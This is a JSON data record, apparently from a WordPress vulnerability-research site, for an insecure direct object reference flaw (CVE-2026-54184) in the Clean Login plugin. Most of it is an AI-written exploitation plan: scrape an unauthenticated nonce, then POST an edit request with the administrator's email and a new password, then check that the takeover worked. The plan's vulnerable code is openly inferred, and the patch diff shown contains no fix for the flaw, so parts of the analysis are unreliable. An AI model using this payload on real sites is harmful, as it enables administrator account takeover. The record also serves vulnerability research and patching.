[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fRXrc7LSX7pq1utbQxRBCZiKeewmCicyAlb3peIPLUzY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-54184","clean-login-unauthenticated-insecure-direct-object-reference","Clean Login \u003C= 1.15 - Unauthenticated Insecure Direct Object Reference","The Clean Login plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 1.15 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.","clean-login",null,"\u003C=1.15","1.16","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Authorization Bypass Through User-Controlled Key","2026-06-16 00:00:00","2026-06-25 14:28:21",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff36a960d-e8bd-47aa-b20a-8d91e678faba?source=api-prod",10,[22,23,24,25,26],"clean-login.php","content\u002Fcaptcha\u002Findex.php","content\u002Flogin-edit.php","content\u002Flogin-form.php","content\u002Flogin-preview.php","researched",false,3,"# Exploitation Research Plan: CVE-2026-54184 (Clean Login IDOR)\n\n## 1. Vulnerability Summary\nThe **Clean Login** plugin (versions \u003C= 1.15) contains an **Insecure Direct Object Reference (IDOR)** vulnerability. The plugin's profile update logic (triggered by the `edit` action) allows identifying the user to be updated via a user-controlled parameter (likely `email` or `user_id`) without verifying if the requester has the authority to modify that specific user. Because the plugin does not properly check if the current requester is the owner of the account or an administrator, an unauthenticated attacker can provide the identifier of any user (e.g., the administrator) and change their account details, including their password.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** The vulnerability is processed during the `init` or `wp_loaded` hook via the `CleanLogin_Controller`. Since the forms in `content\u002Flogin-edit.php` and `content\u002Flogin-form.php` post to themselves or the login URL, the exploit can be sent to the site's front page or any page containing the plugin's shortcode.\n- **Action:** `edit` (passed in the `action` parameter).\n- **Vulnerable Parameter:** `email` (This acts as the \"user-controlled key\" to reference the user object).\n- **Authentication:** Unauthenticated. The plugin uses WordPress nonces, but since the vulnerability is accessible to logged-out users, a nonce generated for `UID 0` (the anonymous user) is sufficient.\n- **Preconditions:** The attacker must know the email address of the target user (commonly the admin email).\n\n## 3. Code Flow\n1. **Entry Point:** The plugin initializes `CleanLogin_Controller` in `clean-login.php`.\n2. **Hook Registration:** The controller likely listens for `POST` requests where `$_POST['action'] === 'edit'`.\n3. **Identifier Extraction:** The code retrieves the user identifier from the request. Based on `content\u002Flogin-edit.php`, the identifier is the `email` field:\n   ```html\n   \u003Cinput type=\"hidden\" name=\"email\" value=\"\u003C?php echo $current_user->user_email; ?>\">\n   ```\n4. **Vulnerable Logic (Inferred):** The backend handler likely performs a lookup similar to:\n   ```php\n   $user_email = $_POST['email'];\n   $user = get_user_by('email', $user_email);\n   \u002F\u002F ... Missing is_user_logged_in() check or ownership check ...\n   \u002F\u002F ... Proceed to update $user with $_POST['pass1'] ...\n   ```\n5. **Sink:** The user's information is updated using `wp_update_user()` or `wp_set_password()`.\n\n## 4. Nonce Acquisition Strategy\nThe `clean_login_wpnonce` is required for the request to be processed. For unauthenticated users, this nonce is tied to `UID 0`.\n\n1. **Shortcode:** The plugin uses the shortcode `[clean-login]` or `[clean-login-edit]`.\n2. **Page Creation:** Create a public page containing the `[clean-login]` shortcode to ensure the nonce is generated and rendered.\n   - `wp post create --post_type=page --post_status=publish --post_title=\"Login\" --post_content='[clean-login]'`\n3. **Extraction:**\n   - Use `browser_navigate` to visit the new page.\n   - Use `browser_eval` to extract the nonce from the hidden input field named `clean_login_wpnonce`.\n   - **JavaScript:** `document.querySelector('input[name=\"clean_login_wpnonce\"]').value`\n\n## 5. Exploitation Strategy\n1. **Target Identification:** Identify the administrator's email (default in test environments is often `admin@example.com`).\n2. **Nonce Retrieval:** Get a valid `clean_login_wpnonce` for an unauthenticated session.\n3. **Payload Construction:**\n   - **Method:** `POST`\n   - **URL:** The URL of the page containing the `[clean-login]` shortcode.\n   - **Body (URL-encoded):**\n     - `action=edit`\n     - `email=admin@example.com` (The IDOR key)\n     - `pass1=PwnedPassword123!`\n     - `pass2=PwnedPassword123!`\n     - `clean_login_wpnonce=[EXTRACTED_NONCE]`\n     - `submit=Update profile`\n4. **Execution:** Send the request using the `http_request` tool.\n\n## 6. Test Data Setup\n1. **Administrator User:** Ensure a user with administrator privileges exists (e.g., username: `admin`, email: `admin@example.com`).\n2. **Shortcode Page:**\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_content='[clean-login]' --post_title='Auth Page'\n   ```\n3. **Plugin Config:** Ensure the plugin is active.\n\n## 7. Expected Results\n- **HTTP Response:** The server should return a 200 OK or a 302 redirect. If the plugin provides feedback, look for strings like \"Profile updated\" (localized).\n- **Outcome:** The password for the user associated with `admin@example.com` will be changed to `PwnedPassword123!`.\n\n## 8. Verification Steps\n1. **Check Password via WP-CLI:**\n   Try to authenticate as the admin using the new password:\n   ```bash\n   wp user check-password admin PwnedPassword123!\n   ```\n   If it returns \"Success\", the exploit was successful.\n2. **Check User Meta:**\n   Verify if other fields (like `first_name` or `last_name`) were also modified if they were included in the payload.\n\n## 9. Alternative Approaches\n- **Luring the Admin:** If unauthenticated password reset fails due to a session check we missed, the same IDOR can be used for a **CSRF attack**. Since the `clean_login_wpnonce` is available to the admin on their own profile page, an attacker could trick the admin into visiting a page that submits the `edit` form with the attacker's email\u002Fpassword, though the CVSS and description suggest a direct unauthenticated bypass.\n- **Different Identifier:** If `email` is not the key, try `user_id` or `id` as a POST parameter. (e.g., `email=admin@example.com&user_id=1`).","The Clean Login plugin for WordPress (\u003C= 1.15) is vulnerable to an Insecure Direct Object Reference (IDOR) via the profile update functionality. Unauthenticated attackers can reset the password of any user by providing that user's email address in a POST request to the 'edit' action handler, as the plugin fails to verify the requester's authority over the specified account.","\u002F* content\u002Flogin-edit.php lines 26-28 *\u002F\n\u003C?php else: ?>\n\t\u003Cinput type=\"hidden\" name=\"email\" value=\"\u003C?php echo $current_user->user_email; ?>\">\n\u003C?php endif; ?>\n\n---\n\n\u002F* content\u002Flogin-edit.php lines 64-67 *\u002F\n\u003Cdiv>\t\n\t\u003Cinput type=\"submit\" value=\"\u003C?php echo __( 'Update profile', 'clean-login' ); ?>\" name=\"submit\">\n\t\u003Cinput type=\"hidden\" name=\"action\" value=\"edit\">\t\t\n\u003C\u002Fdiv>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fclean-login\u002F1.15\u002Fclean-login.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fclean-login\u002F1.16\u002Fclean-login.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fclean-login\u002F1.15\u002Fclean-login.php\t2026-04-05 22:49:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fclean-login\u002F1.16\u002Fclean-login.php\t2026-05-05 22:19:30.000000000 +0000\n@@ -4,16 +4,18 @@\n Plugin URI: https:\u002F\u002Fcodection.com\n Description: Responsive Frontend Login and Registration plugin. A plugin for displaying login, register, editor and restore password forms through shortcodes. [clean-login] [clean-login-edit] [clean-login-register] [clean-login-restore]\n Author: codection\n-Version: 1.15\n+Version: 1.16\n Author URI: https:\u002F\u002Fcodection.com\n Text Domain: clean-login\n Domain Path: \u002Flang\n+License: GPL-2.0-or-later\n+License URI: https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n *\u002F\n \n if ( ! defined( 'ABSPATH' ) ) \n \texit; \n \n-define( \"CLEAN_LOGIN_VERSION\", \"1.15\" );\n+define( \"CLEAN_LOGIN_VERSION\", \"1.16\" );\n define( \"CLEAN_LOGIN_PATH\", plugin_dir_path( __FILE__ ) );\n define( \"CLEAN_LOGIN_URL\", plugin_dir_url( __FILE__ ) );\n define( \"CLEAN_LOGIN_CAPTCHA_URL\", plugins_url( 'content\u002Fcaptcha', __FILE__ ) );\n@@ -98,8 +100,8 @@\n \t\tif( get_option('cl_logout_redirect', false) == '' )\n \t\t\treturn;\n \t\n-\t\t$logoutredirect_url = get_option('cl_logout_redirect_url', false) ? esc_url( apply_filters( 'cl_logout_redirect_url', CleanLogin_Controller::get_translated_option_page('cl_logout_redirect_url' ) ) ): home_url();\n-\t\twp_redirect( $logoutredirect_url );\n+\t\t$logoutredirect_url = get_option('cl_logout_redirect_url', false) ? esc_url( apply_filters( 'clean_login_logout_redirect_url', CleanLogin_Controller::get_translated_option_page('cl_logout_redirect_url' ) ) ): home_url();\n+\t\twp_safe_redirect( $logoutredirect_url );\n \t\texit();\n \t}\n }","An attacker first identifies the email address of a target user (e.g., the administrator). They then obtain a valid security nonce ('clean_login_wpnonce') by visiting any public page on the site that renders a plugin shortcode. Using this nonce, the attacker sends an unauthenticated POST request to the site with the 'action' parameter set to 'edit', the 'email' parameter set to the target's email, and new password values. The plugin processes this request and updates the credentials for the specified email without verifying if the requester is authorized to modify that account.","gemini-3-flash-preview","2026-06-25 23:33:41","2026-06-25 23:35:22",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","1.15","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fclean-login\u002Ftags\u002F1.15","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fclean-login.1.15.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fclean-login\u002Ftags\u002F1.16","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fclean-login.1.16.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fclean-login\u002Ftags"]